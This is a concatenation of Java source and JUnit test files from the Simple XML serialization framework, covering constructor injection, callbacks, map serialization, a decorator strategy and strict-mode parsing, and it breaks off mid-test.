import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.stream.CamelCaseStyle;
import org.simpleframework.xml.stream.Format;
import org.simpleframework.xml.stream.Style;
public class ConstructorInjectionTest extends ValidationTestCase {
private static final String SOURCE =
"<example number='32'>"+
" <integer>12</integer>"+
" <string>text</string>"+
"</example>";
private static final String PARTIAL =
"<example>"+
" <integer>12</integer>"+
" <string>text</string>"+
"</example>";
private static final String BARE =
"<example>"+
" <integer>12</integer>"+
"</example>";
private static final String ARRAY =
"<ExampleArray>"+
" <Array length='5'>\n\r"+
" <String>entry one</String> \n\r"+
" <String>entry two</String> \n\r"+
" <String>entry three</String> \n\r"+
" <String>entry four</String> \n\r"+
" <String>entry five</String> \n\r"+
" </Array>\n\r"+
"</ExampleArray>";
@Root
private static class Example {
@Element
private int integer;
@Element(required=false)
private String string;
@Attribute(name="number", required=false)
private long number;
public Example(@Element(name="integer") int integer){
this.integer = integer;
}
public Example(@Element(name="integer") int integer, @Element(name="string", required=false) String string, @Attribute(name="number", required=false) long number){
this.integer = integer;
this.string = string;
this.number = number;
}
public Example(@Element(name="integer") int integer, @Element(name="string", required=false) String string){
this.integer = integer;
this.string = string;
}
}
@Root
private static class ArrayExample {
@ElementArray(name="array")
private final String[] array;
public ArrayExample(@ElementArray(name="array") String[] array) {
this.array = array;
}
public String[] getArray() {
return array;
}
}
public void testConstructor() throws Exception {
Persister persister = new Persister();
Example example = persister.read(Example.class, SOURCE);
assertEquals(example.integer, 12);
assertEquals(example.number, 32);
assertEquals(example.string, "text");
validate(persister, example);
}
public void testPartialConstructor() throws Exception {
Persister persister = new Persister();
Example example = persister.read(Example.class, PARTIAL);
assertEquals(example.integer, 12);
assertEquals(example.number, 0);
assertEquals(example.string, "text");
validate(persister, example);
}
public void testBareConstructor() throws Exception {
Persister persister = new Persister();
Example example = persister.read(Example.class, BARE);
assertEquals(example.integer, 12);
assertEquals(example.number, 0);
assertEquals(example.string, null);
validate(persister, example);
}
public void testArrayExample() throws Exception {
Style style = new CamelCaseStyle();
Format format = new Format(style);
Persister persister = new Persister(format);
ArrayExample example = persister.read(ArrayExample.class, ARRAY);
assertEquals(example.getArray().length, 5);
assertEquals(example.getArray()[0], "entry one");
assertEquals(example.getArray()[1], "entry two");
assertEquals(example.getArray()[2], "entry three");
assertEquals(example.getArray()[3], "entry four");
assertEquals(example.getArray()[4], "entry five");
validate(persister, example);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/util/ConcurrentCache.java<|end_filename|>
/*
* ConcurrentCache.java July 2012
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.util;
import java.util.concurrent.ConcurrentHashMap;
/**
* The <code>ConcurrentCache</code> interface is used to represent a
* cache that will store key value pairs. This implementation is
* backed by a <code>ConcurrentHashMap</code> for best performance.
*
* @author <NAME>
*/
public class ConcurrentCache<T> extends ConcurrentHashMap<Object, T> implements Cache<T> {
/**
* Constructor for the <code>ConcurrentCache</code> object. This
* is an implementation of a cache that uses the conventional
* concurrent hash map from the Java collections API.
*/
public ConcurrentCache() {
super();
}
/**
* This method is used to insert a key value mapping in to the
* cache. The value can later be retrieved or removed from the
* cache if desired. If the value associated with the key is
* null then nothing is stored within the cache.
*
* @param key this is the key to cache the provided value to
* @param value this is the value that is to be cached
*/
public void cache(Object key, T value) {
put(key, value);
}
/**
* This is used to exclusively take the value mapped to the
* specified key from the cache. Invoking this is effectively
* removing the value from the cache.
*
* @param key this is the key to acquire the cache value with
*
* @return this returns the value mapped to the specified key
*/
public T take(Object key) {
return remove(key);
}
/**
* This method is used to get the value from the cache that is
* mapped to the specified key. If there is no value mapped to
* the specified key then this method will return a null.
*
* @param key this is the key to acquire the cache value with
*
* @return this returns the value mapped to the specified key
*/
public T fetch(Object key) {
return get(key);
}
/**
* This is used to determine whether the specified key exists
* with in the cache. Typically this can be done using the
* fetch method, which will acquire the object.
*
* @param key this is the key to check within this segment
*
* @return true if the specified key is within the cache
*/
public boolean contains(Object key) {
return containsKey(key);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/transform/Matcher.java<|end_filename|>
/*
* Matcher.java May 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.transform;
/**
* The <code>Matcher</code> is used to match a type with a transform
* such that a string value can be read or written as that type. If
* there is no match this will typically return a null to indicate
* that another matcher should be delegated to. If there is an error
* in performing the match an exception is thrown.
*
* @author <NAME>
*
* @see org.simpleframework.xml.transform.Transformer
*/
public interface Matcher {
/**
* This is used to match a <code>Transform</code> using the type
* specified. If no transform can be acquired then this returns
* a null value indicating that no transform could be found.
*
* @param type this is the type to acquire the transform for
*
* @return returns a transform for processing the type given
*/
Transform match(Class type) throws Exception;
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/ConstructorInjectionWithUnionTest.java<|end_filename|>
package org.simpleframework.xml.core;
import junit.framework.TestCase;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementUnion;
public class ConstructorInjectionWithUnionTest extends TestCase {
private static final String TEXT =
"<unionExample>" +
" <x/>"+
"</unionExample>";
public static class UnionExample {
@ElementUnion({
@Element(name="x", type=X.class),
@Element(name="y", type=Y.class),
@Element(name="z", type=X.class)
})
private final X value;
public UnionExample(@Element(name="x") X value) {
this.value = value;
}
public UnionExample(@Element(name="y") Y value) {
this.value = value;
}
}
public static class X{}
public static class Y extends X{}
public static class Z extends Y{}
public void testInjection() throws Exception {
Persister persister = new Persister();
UnionExample example = persister.read(UnionExample.class, TEXT);
assertNotNull(example.value);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/CallbackTest.java<|end_filename|>
package org.simpleframework.xml.core;
import junit.framework.TestCase;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
public class CallbackTest extends TestCase {
private static final String SOURCE =
"<?xml version=\"1.0\"?>\n"+
"<root number='1234' flag='true'>\n"+
" <value>complete</value> \n\r"+
"</root>";
@Root(name="root")
private static class Entry {
@Attribute(name="number", required=false)
private int number = 9999;
@Attribute(name="flag")
private boolean bool;
@Element(name="value", required=false)
private String value = "default";
private boolean validated;
private boolean committed;
private boolean persisted;
private boolean completed;
public Entry() {
super();
}
@Validate
public void validate() {
validated = true;
}
@Commit
public void commit() {
if(validated) {
committed = true;
}
}
@Persist
public void persist() {
persisted = true;
}
@Complete
public void complete() {
if(persisted) {
completed = true;
}
}
public boolean isCommitted() {
return committed;
}
public boolean isValidated() {
return validated;
}
public boolean isPersisted() {
return persisted;
}
public boolean isCompleted() {
return completed;
}
public int getNumber() {
return number;
}
public boolean getFlag() {
return bool;
}
public String getValue() {
return value;
}
}
private static class ExtendedEntry extends Entry {
public boolean completed;
public boolean committed;
public boolean validated;
public boolean persisted;
public ExtendedEntry() {
super();
}
@Validate
public void extendedValidate() {
validated = true;
}
@Commit
public void extendedCommit() {
if(validated) {
committed = true;
}
}
@Persist
public void extendedPersist() {
persisted = true;
}
@Complete
public void extendedComplete() {
if(persisted) {
completed = true;
}
}
public boolean isExtendedCommitted() {
return committed;
}
public boolean isExtendedValidated() {
return validated;
}
public boolean isExtendedPersisted() {
return persisted;
}
public boolean isExtendedCompleted() {
return completed;
}
}
private static class OverrideEntry extends Entry {
public boolean validated;
@Override
public void validate() {
validated = true;
}
public boolean isOverrideValidated() {
return validated;
}
}
private static class AnotherExtendedEntry extends ExtendedEntry {
public AnotherExtendedEntry() {
super();
}
}
/*
public void testReadCallbacks() throws Exception {
Entry entry = persister.read(Entry.class, SOURCE);
assertEquals("complete", entry.getValue());
assertEquals(1234, entry.getNumber());
assertEquals(true, entry.getFlag());
assertTrue(entry.isValidated());
assertTrue(entry.isCommitted());
}
public void testWriteCallbacks() throws Exception {
Entry entry = new Entry();
assertFalse(entry.isCompleted());
assertFalse(entry.isPersisted());
persister.write(entry, System.out);
assertEquals("default", entry.getValue());
assertEquals(9999, entry.getNumber());
assertTrue(entry.isPersisted());
assertTrue(entry.isCompleted());
}*/
public void testReuseScannedFields() throws Exception {
Persister persister = new Persister();
long nanoTime = System.nanoTime();
ExtendedEntry a = persister.read(ExtendedEntry.class, SOURCE);
double doneA = System.nanoTime() - nanoTime;
long next = System.nanoTime();
ExtendedEntry b = persister.read(AnotherExtendedEntry.class, SOURCE);
double doneB = System.nanoTime() - next;
System.err.println("Diff:"+(doneB/doneA)*100.0);
System.err.println("B:"+doneB);
assertTrue(a != b);
}
/*
public void testExtendedReadCallbacks() throws Exception {
Persister persister = new Persister();
ExtendedEntry entry = persister.read(ExtendedEntry.class, SOURCE);
assertEquals("complete", entry.getValue());
assertEquals(1234, entry.getNumber());
assertEquals(true, entry.getFlag());
assertFalse(entry.isValidated());
assertFalse(entry.isCommitted());
assertTrue(entry.isExtendedValidated());
assertTrue(entry.isExtendedCommitted());
}
public void testExtendedWriteCallbacks() throws Exception {
Persister persister = new Persister();
ExtendedEntry entry = new ExtendedEntry();
assertFalse(entry.isCompleted());
assertFalse(entry.isPersisted());
assertFalse(entry.isExtendedCompleted());
assertFalse(entry.isExtendedPersisted());
persister.write(entry, System.out);
assertEquals("default", entry.getValue());
assertEquals(9999, entry.getNumber());
assertFalse(entry.isPersisted());
assertFalse(entry.isCompleted());
assertTrue(entry.isExtendedCompleted());
assertTrue(entry.isExtendedPersisted());
}
public void testOverrideReadCallbacks() throws Exception {
Persister persister = new Persister();
OverrideEntry entry = persister.read(OverrideEntry.class, SOURCE);
assertEquals("complete", entry.getValue());
assertEquals(1234, entry.getNumber());
assertEquals(true, entry.getFlag());
assertFalse(entry.isValidated());
assertTrue(entry.isOverrideValidated());
}*/
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/MapWithValueAttributeTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.Map;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.strategy.CycleStrategy;
import org.simpleframework.xml.strategy.Strategy;
public class MapWithValueAttributeTest extends ValidationTestCase {
private static final String PRIMITIVE_TEXT_VALUE =
"<mapWithValueAttributeExample>\r\n"+
" <entry key='a'>0.0</entry>\r\n"+
" <entry key='b'>1.0</entry>\r\n"+
" <entry key='c'>2.0</entry>\r\n"+
" <entry key='d'>3.0</entry>\r\n"+
"</mapWithValueAttributeExample>\r\n";
private static final String PRIMITIVE_ATTRIBUTE_VALUE =
"<mapWithValueAttributeExample>\r\n"+
" <entry key='a' value='0.0'/>\r\n"+
" <entry key='b' value='1.0'/>\r\n"+
" <entry key='c' value='2.0'/>\r\n"+
" <entry key='d' value='3.0'/>\r\n"+
"</mapWithValueAttributeExample>\r\n";
private static final String PRIMITIVE_ELEMENT_VALUE =
"<mapWithValueAttributeExample>\r\n"+
" <entry>\r\n"+
" <key>a</key>\r\n"+
" <value>0.0</value>\r\n"+
" </entry>\r\n"+
" <entry>\r\n"+
" <key>b</key>\r\n"+
" <value>1.0</value>\r\n"+
" </entry>\r\n"+
" <entry>\r\n"+
" <key>c</key>\r\n"+
" <value>2.0</value>\r\n"+
" </entry>\r\n"+
" <entry>\r\n"+
" <key>d</key>\r\n"+
" <value>3.0</value>\r\n"+
" </entry>\r\n"+
"</mapWithValueAttributeExample>\r\n";
private static final String COMPOSITE_VALUE =
"<mapWithValueAttributeExample>\r\n"+
" <entry key='a'>\r\n"+
" <value>" +
" <name>B</name>\r\n"+
" <value>C</value>\r\n"+
" </value>\r\n"+
" </entry>\r\n" +
" <entry key='x'>\r\n"+
" <value>" +
" <name>Y</name>\r\n"+
" <value>Z</value>\r\n"+
" </value>\r\n"+
" </entry>\r\n" +
"</mapWithValueAttributeExample>\r\n";
private static final String COMPOSITE_VALUE_AND_ELEMENT_KEY =
"<mapWithValueAttributeExample>\r\n"+
" <entry>\r\n"+
" <key>a</key>\r\n"+
" <value>" +
" <name>B</name>\r\n"+
" <value>C</value>\r\n"+
" </value>\r\n"+
" </entry>\r\n" +
" <entry>\r\n"+
" <key>x</key>\r\n"+
" <value>" +
" <name>Y</name>\r\n"+
" <value>Z</value>\r\n"+
" </value>\r\n"+
" </entry>\r\n" +
"</mapWithValueAttributeExample>\r\n";
@Root
public static class MapWithValueTextExample {
@ElementMap(inline=true, attribute=true, entry="entry", key="key")
private Map<String, Double> map;
}
@Root
public static class MapWithValueElementExample {
@ElementMap(inline=true, entry="entry", key="key", value="value")
private Map<String, Double> map;
}
@Root
public static class MapWithValueAttributeExample {
@ElementMap(inline=true, attribute=true, entry="entry", key="key", value="value")
private Map<String, Double> map;
}
@Root
public static class MapWithCompositeValueExample {
@ElementMap(inline=true, attribute=true, entry="entry", key="key", value="value")
private Map<String, ValueExample> map;
}
@Root
public static class MapWithCompositeValueAndElementKeyExample {
@ElementMap(inline=true, entry="entry", key="key", value="value")
private Map<String, ValueExample> map;
}
@Root
@SuppressWarnings("all")
private static class ValueExample {
@Element
private String name;
@Element
private String value;
public ValueExample(@Element(name="name") String name,
@Element(name="value") String value) {
this.name = name;
this.value = value;
}
}
public void testPrimitiveTextMap() throws Exception {
Strategy strategy = new CycleStrategy();
Persister persister = new Persister(strategy);
MapWithValueTextExample example = persister.read(MapWithValueTextExample.class, PRIMITIVE_TEXT_VALUE);
assertEquals(example.map.get("a"), 0.0);
assertEquals(example.map.get("b"), 1.0);
assertEquals(example.map.get("c"), 2.0);
assertEquals(example.map.get("d"), 3.0);
persister.write(example, System.err);
validate(example, persister);
}
public void testPrimitiveElementMap() throws Exception {
Strategy strategy = new CycleStrategy();
Persister persister = new Persister(strategy);
MapWithValueElementExample example = persister.read(MapWithValueElementExample.class, PRIMITIVE_ELEMENT_VALUE);
assertEquals(example.map.get("a"), 0.0);
assertEquals(example.map.get("b"), 1.0);
assertEquals(example.map.get("c"), 2.0);
assertEquals(example.map.get("d"), 3.0);
persister.write(example, System.err);
validate(example, persister);
}
public void testPrimitiveAttributeMap() throws Exception {
Strategy strategy = new CycleStrategy();
Persister persister = new Persister(strategy);
MapWithValueAttributeExample example = persister.read(MapWithValueAttributeExample.class, PRIMITIVE_ATTRIBUTE_VALUE);
assertEquals(example.map.get("a"), 0.0);
assertEquals(example.map.get("b"), 1.0);
assertEquals(example.map.get("c"), 2.0);
assertEquals(example.map.get("d"), 3.0);
persister.write(example, System.err);
validate(example, persister);
}
public void testCompositeValueMap() throws Exception {
Strategy strategy = new CycleStrategy();
Persister persister = new Persister(strategy);
MapWithCompositeValueExample example = persister.read(MapWithCompositeValueExample.class, COMPOSITE_VALUE);
assertEquals(example.map.get("a").name, "B");
assertEquals(example.map.get("a").value, "C");
assertEquals(example.map.get("x").name, "Y");
assertEquals(example.map.get("x").value, "Z");
persister.write(example, System.err);
validate(example, persister);
}
public void testCompositeValueAndElementKeyMap() throws Exception {
Strategy strategy = new CycleStrategy();
Persister persister = new Persister(strategy);
MapWithCompositeValueAndElementKeyExample example = persister.read(MapWithCompositeValueAndElementKeyExample.class, COMPOSITE_VALUE_AND_ELEMENT_KEY);
assertEquals(example.map.get("a").name, "B");
assertEquals(example.map.get("a").value, "C");
assertEquals(example.map.get("x").name, "Y");
assertEquals(example.map.get("x").value, "Z");
persister.write(example, System.err);
validate(example, persister);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/DecoratorTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import java.util.ArrayList;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.strategy.Type;
import org.simpleframework.xml.strategy.Strategy;
import org.simpleframework.xml.strategy.TreeStrategy;
import org.simpleframework.xml.strategy.Value;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.NodeMap;
import org.simpleframework.xml.stream.OutputNode;
/**
* This test is provided to demonstrate how simple it is to intercept
* the serialization and deserialization process and manupulate the XML
* according to requirements. It also shows how the serialized XML can
* be written in a language neutral manner.
* @author <NAME>
*/
public class DecoratorTest extends ValidationTestCase {
/**
* This is used to intercept the read and write operations and
* change the contents of the XML elements.
* @author <NAME>
*/
public static interface Interceptor {
public void read(Class field, NodeMap<InputNode> node) throws Exception;
public void write(Class field,NodeMap<OutputNode> node) throws Exception;
}
/**
* This acts as a strategy and intercepts all XML elements that
* are serialized and deserialized so that the XML can be manipulated
* by the provided interceptor implementation.
* @author <NAME>
*/
public static class Decorator implements Strategy{
private final Interceptor interceptor;
private final Strategy strategy;
public Decorator(Interceptor interceptor, Strategy strategy){
this.interceptor = interceptor;
this.strategy = strategy;
}
/**
* Here we intercept the call to get the element value from the
* strategy so that we can change the attributes in the XML element
* to match what was change on writing the element.
* @param node this is the XML element to be modified
*/
public Value read(Type field, NodeMap<InputNode> node, Map map) throws Exception {
interceptor.read(field.getType(), node);
return strategy.read(field, node, map);
}
/**
* Here we change the XML element after it has been annotated by
* the strategy. In this way we can ensure we write what we want
* to the resulting XML document.
* @param node this is the XML element that will be written
*/
public boolean write(Type field, Object value, NodeMap<OutputNode> node, Map map) throws Exception {
boolean result = strategy.write(field, value, node, map);
interceptor.write(field.getType(), node);
return result;
}
}
/**
* The manipulator object is used to manipulate the attributes
* added to the XML elements by the strategy in such a way that
* they do not contain Java class names but rather neutral ones.
* @author <NAME>
*/
public static class Manipulator implements Interceptor {
private final Map<String, String> read;
private final Map<String, String> write;
private final String label;
private final String replace;
private Manipulator(String label, String replace) {
this.read = new ConcurrentHashMap<String, String>();
this.write = new ConcurrentHashMap<String, String>();
this.label = label;
this.replace = replace;
}
/**
* Here we are inserting an alias for a type. Each time the
* specified type is written the provided name is used and
* each time the name is found on reading it is substituted
* for the type so that it can be interpreted correctly.
* @param type this is the class to be given an alias
* @param name this is the name to use
*/
public void resolve(Class type, String value) throws Exception{
String name = type.getName();
read.put(value, name);
write.put(name, value);
}
public void read(Class field, NodeMap<InputNode> node) throws Exception{
InputNode value = node.remove(replace);
if(value != null) {
String name = value.getValue();
String type = read.get(name);
if(type == null) {
throw new PersistenceException("Could not match name %s", name);
}
node.put(label, type);
}
}
public void write(Class field, NodeMap<OutputNode> node) throws Exception {
OutputNode value = node.remove(label);
if(value != null) {
String type = value.getValue();
String name = write.get(type);
if(name == null) {
throw new PersistenceException("Could not match class %s", type);
}
node.put(replace, name);
}
}
}
@Root
public static class FriendList {
private final @ElementList List<Friend> list;
public FriendList(@ElementList(name="list") List<Friend> list) {
this.list = list;
}
public List<Friend> getFriends() {
return list;
}
}
@Root
public static class Friend {
private final @Element Member member;
private final @ElementList List<Message> messages;
private final @Attribute Status status;
public Friend(@Element(name="member") Member member, @ElementList(name="messages") List<Message> messages, @Attribute(name="status") Status status) {
this.messages = messages;
this.member = member;
this.status = status;
}
public Member getMember() {
return member;
}
public Status getStatus(){
return status;
}
public List<Message> getMessages() {
return messages;
}
}
@Root
public static class Member {
private final @Element Address address;
private final @Attribute String name;
private final @Attribute int age;
public Member(@Attribute(name="name") String name, @Attribute(name="age") int age, @Element(name="address") Address address) {
this.address = address;
this.name = name;
this.age = age;
}
public boolean isPrivileged() {
return false;
}
public Address getAddress() {
return address;
}
public String getName(){
return name;
}
public int getAge() {
return age;
}
}
@Root
public static class GoldMember extends Member{
public GoldMember(@Attribute(name="name") String name, @Attribute(name="age") int age, @Element(name="address") Address address) {
super(name, age, address);
}
@Override
public boolean isPrivileged() {
return true;
}
}
@Root
public static class Person {
private final @Element Address address;
private final @Attribute String name;
private final @Attribute int age;
public Person(@Attribute(name="name") String name, @Attribute(name="age") int age, @Element(name="address") Address address) {
this.address = address;
this.name = name;
this.age = age;
}
public Address getAddress() {
return address;
}
public String getName(){
return name;
}
public int getAge() {
return age;
}
}
@Root
public static class Address {
private final @Element String street;
private final @Element String city;
private final @Element String country;
public Address(@Element(name="street") String street, @Element(name="city") String city, @Element(name="country") String country) {
this.street = street;
this.city = city;
this.country = country;
}
public String getStreet(){
return street;
}
public String getCity(){
return city;
}
public String getCountry() {
return country;
}
}
@Root
public static class Message {
private String title;
private String text;
public Message() {
super();
}
public Message(String title, String text){
this.title = title;
this.text = text;
}
@Attribute
public void setTitle(String title) {
this.title = title;
}
@Attribute
public String getTitle() {
return title;
}
@Text(data=true)
public void setText(String text) {
this.text = text;
}
@Text(data=true)
public String getText() {
return text;
}
}
public static enum Status {
ACTIVE,
INACTIVE,
DELETED
}
/**
* This test will use an interceptor to replace Java class names
* with user specified tokens so that the object can be serialized
* and deserialized without referencing specific classes.
*/
public void testDecorator() throws Exception {
Strategy strategy = new TreeStrategy("class", "length");
Manipulator manipulator = new Manipulator("class", "type");
Decorator decorator = new Decorator(manipulator, strategy);
Serializer serializer = new Persister(decorator);
List<Friend> friends = new ArrayList<Friend>();
Address tomAddress = new Address("14 High Steet", "London", "UK");
Member tom = new Member("Tom", 30, tomAddress);
List<Message> tomMessages = new ArrayList<Message>();
tomMessages.add(new Message("Hello", "Hi, this is a message, Bye"));
tomMessages.add(new Message("Hi Tom", "This is another quick message"));
Address jimAddress = new Address("14 Main Road", "London", "UK");
Member jim = new GoldMember("Jim", 30, jimAddress);
List<Message> jimMessages = new LinkedList<Message>();
jimMessages.add(new Message("Hello Jim", "Hi Jim, here is a message"));
jimMessages.add(new Message("Hi", "Yet another message"));
friends.add(new Friend(tom, tomMessages, Status.ACTIVE));
friends.add(new Friend(jim, jimMessages, Status.INACTIVE));
FriendList original = new FriendList(friends);
manipulator.resolve(ArrayList.class, "list");
manipulator.resolve(LinkedList.class, "linked-list");
manipulator.resolve(Member.class, "member");
manipulator.resolve(GoldMember.class, "gold-member");
StringWriter text = new StringWriter();
serializer.write(original, text);
String result = text.toString();
FriendList recovered = serializer.read(FriendList.class, result);
assertEquals(original.getFriends().getClass(), recovered.getFriends().getClass());
assertEquals(original.getFriends().get(0).getStatus(), recovered.getFriends().get(0).getStatus());
assertEquals(original.getFriends().get(0).getMember().getName(), recovered.getFriends().get(0).getMember().getName());
assertEquals(original.getFriends().get(0).getMember().getAge(), recovered.getFriends().get(0).getMember().getAge());
assertEquals(original.getFriends().get(0).getMember().getAddress().getCity(), recovered.getFriends().get(0).getMember().getAddress().getCity());
assertEquals(original.getFriends().get(0).getMember().getAddress().getCountry(), recovered.getFriends().get(0).getMember().getAddress().getCountry());
assertEquals(original.getFriends().get(0).getMember().getAddress().getStreet(), recovered.getFriends().get(0).getMember().getAddress().getStreet());
assertEquals(original.getFriends().get(1).getMember().getName(), recovered.getFriends().get(1).getMember().getName());
assertEquals(original.getFriends().get(1).getMember().getAge(), recovered.getFriends().get(1).getMember().getAge());
assertEquals(original.getFriends().get(1).getMember().getAddress().getCity(), recovered.getFriends().get(1).getMember().getAddress().getCity());
assertEquals(original.getFriends().get(1).getMember().getAddress().getCountry(), recovered.getFriends().get(1).getMember().getAddress().getCountry());
assertEquals(original.getFriends().get(1).getMember().getAddress().getStreet(), recovered.getFriends().get(1).getMember().getAddress().getStreet());
validate(serializer, original);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/PrimitiveFactory.java<|end_filename|>
/*
* PrimitiveFactory.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import org.simpleframework.xml.strategy.Type;
import org.simpleframework.xml.strategy.Value;
import org.simpleframework.xml.stream.InputNode;
/**
* The <code>PrimitiveFactory</code> object is used to create objects
* that are primitive types. This creates primitives and enumerated
* types when given a string value. The string value is parsed using
* a matched <code>Transform</code> implementation. The transform is
* then used to convert the object instance to an from a suitable XML
* representation. Only enumerated types are not transformed using
* a transform, instead they use <code>Enum.name</code>.
*
* @author <NAME>
*
* @see org.simpleframework.xml.transform.Transformer
*/
class PrimitiveFactory extends Factory {
/**
* Constructor for the <code>PrimitiveFactory</code> object. This
* is provided the field type that is to be instantiated. This
* must be a type that contains a <code>Transform</code> object,
* typically this is a <code>java.lang</code> primitive object
* or one of the primitive types such as <code>int</code>. Also
* this can be given a class for an enumerated type.
*
* @param context this is the context used by this factory
* @param type this is the field type to be instantiated
*/
public PrimitiveFactory(Context context, Type type) {
super(context, type);
}
/**
* Constructor for the <code>PrimitiveFactory</code> object. This
* is provided the field type that is to be instantiated. This
* must be a type that contains a <code>Transform</code> object,
* typically this is a <code>java.lang</code> primitive object
* or one of the primitive types such as <code>int</code>. Also
* this can be given a class for an enumerated type.
*
* @param context this is the context used by this factory
* @param type this is the field type to be instantiated
* @param override this is the override used for this primitve
*/
public PrimitiveFactory(Context context, Type type, Class override) {
super(context, type, override);
}
/**
* This method will instantiate an object of the field type, or if
* the <code>Strategy</code> object can resolve a class from the
* XML element then this is used instead. If the resulting type is
* abstract or an interface then this method throws an exception.
*
* @param node this is the node to check for the override
*
* @return this returns an instance of the resulting type
*/
public Instance getInstance(InputNode node) throws Exception {
Value value = getOverride(node);
Class type = getType();
if(value == null) {
return context.getInstance(type);
}
return new ObjectInstance(context, value);
}
/**
* This will instantiate an object of the field type using the
* provided string. Typically this string is transformed in to the
* type using a <code>Transform</code> object. However, if the
* values is an enumeration then its value is created using the
* <code>Enum.valueOf</code> method. Also string values typically
* do not require conversion of any form and are just returned.
*
* @param text this is the value to be transformed to an object
* @param type this is the type of the primitive to instantiate
*
* @return this returns an instance of the field type
*/
public Object getInstance(String text, Class type) throws Exception {
return support.read(text, type);
}
/**
* This is used to acquire a text value for the specified object.
* This will convert the object to a string using the transformer
* so that it can be deserialized from the generate XML document.
* However if the type is an <code>Enum</code> type then the text
* value is taken from <code>Enum.name</code> so it can later be
* deserialized easily using the enumeration class and name.
*
* @param source this is the object instance to get the value of
*
* @return this returns a string representation of the object
*
* @throws Exception if the object could not be transformed
*/
public String getText(Object source) throws Exception {
Class type = source.getClass();
if(type.isEnum()) {
return support.write(source, type);
}
return support.write(source, type);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/StrictTest.java<|end_filename|>
package org.simpleframework.xml.core;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementArray;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
public class StrictTest extends ValidationTestCase {
private static final String SOURCE =
"<root version='2.1' id='234'>\n" +
" <list length='3' type='sorted'>\n" +
" <item name='1'>\n" +
" <value>value 1</value>\n" +
" </item>\n" +
" <item name='2'>\n" +
" <value>value 2</value>\n" +
" </item>\n" +
" <item name='3'>\n" +
" <value>value 3</value>\n" +
" </item>\n" +
" </list>\n" +
" <object name='name'>\n" +
" <integer>123</integer>\n" +
" <object name='key'>\n" +
" <integer>12345</integer>\n" +
" </object>\n" +
" </object>\n" +
"</root>";
private static final String SIMPLE =
"<object name='name'>\n" +
" <integer>123</integer>\n" +
" <object name='key'>\n" +
" <integer>12345</integer>\n" +
" </object>\n" +
" <name>test</name>\n"+
"</object>\n";
private static final String SIMPLE_MISSING_NAME =
"<object name='name'>\n" +
" <integer>123</integer>\n" +
" <object name='key'>\n" +
" <integer>12345</integer>\n" +
" </object>\n" +
"</object>\n";
@Root(name="root", strict=false)
private static class StrictExample {
@ElementArray(name="list", entry="item")
private StrictEntry[] list;
@Element(name="object")
private StrictObject object;
}
@Root(name="entry", strict=false)
private static class StrictEntry {
@Element(name="value")
private String value;
}
@Root(strict=false)
private static class StrictObject {
@Element(name="integer")
private int integer;
}
@Root(name="object", strict=false)
private static class NamedStrictObject extends StrictObject {
@Element(name="name")
private String name;
}
private Persister persister;
public void setUp() throws Exception {
persister = new Persister();
}
public void testStrict() throws Exception {
StrictExample example = persister.read(StrictExample.class, SOURCE);
assertEquals(example.list.length, 3);
assertEquals(example.list[0].value, "value 1");
assertEquals(example.list[1].value, "value 2");
assertEquals(example.list[2].value, "value 3");
assertEquals(example.object.integer, 123);
validate(example, persister);
}
//public void testUnnamedStrict() throws Exception {
// boolean success = false;
//
// try {
// persister.read(StrictObject.class, SIMPLE);
// } catch(RootException e) {
// success = true;
// }
// assertTrue(success);
//}
public void testNamedStrict() throws Exception {
StrictObject object = persister.read(NamedStrictObject.class, SIMPLE);
assertEquals(object.integer, 123);
validate(object, persister);
}
public void testNamedStrictMissingName() throws Exception {
boolean failure = false;
try {
StrictObject object = persister.read(NamedStrictObject.class, SIMPLE_MISSING_NAME);
assertNotNull(object);
}catch(Exception e) {
e.printStackTrace();
failure = true;
}
